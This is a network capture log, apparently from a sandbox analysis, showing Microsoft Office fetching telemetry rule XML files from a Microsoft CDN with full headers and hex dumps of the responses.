Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:35 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 619f2964-b01e-005c-1cd8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161835Z-16b659b4499j6gq7pkfa2qzkk4000000090g00000000rbe8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	50333	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:35 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9657f655-301e-0099-71d8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161835Z-r197bdfb6b4h2vctng0a0nubg800000000mg00000000045h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50338	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a14e0af2-f01e-003f-22d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161835Z-16b659b4499vb6rgub5604hgz000000008q000000000q0gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50339	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 407712ee-701e-0021-3ed8-1e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161835Z-r197bdfb6b4rt57kw3q0f43mqg00000001q0000000004w2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	50345	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:35 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:35 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 314ea3a5-801e-0048-78d8-1ef3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161835Z-r197bdfb6b488ks5g2m20m5xu40000000a3g000000009z94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50376	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:36 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 057c9cd8-201e-0096-5dd8-1eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161836Z-16b659b4499mcktpfn1m4deuag000000082g000000003qfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50394	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:36 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 52eece22-901e-0029-4cd8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161836Z-16b659b4499z4tq4vyreufa8gn00000006kg00000000c5ks x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50401	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:36 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 3d354aa7-b01e-0001-62d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161836Z-15b8d89586fsx9lfqmgrbzpgmg00000003w000000000990q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:36 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50398	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: b1f1ba8d-201e-0085-49d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161836Z-15b8d89586fx2hlt035xdehq5800000003ug00000000cutd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50415	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:36 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:36 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:36 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 338a1818-c01e-00a2-36d8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161836Z-16b659b4499lfw4zscvav76bhn00000008g0000000007k40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:36 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50488	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:37 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:37 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:37 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 120f8cbe-001e-00a2-4bd8-1ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161837Z-r197bdfb6b4kkrkjmxpfy2et100000000a4000000000eytg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:37 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50567	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:38 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: f8617a56-201e-0071-7ad8-1eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161838Z-15b8d89586f6nn8zwfkdy3t04s00000003p0000000007v4g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
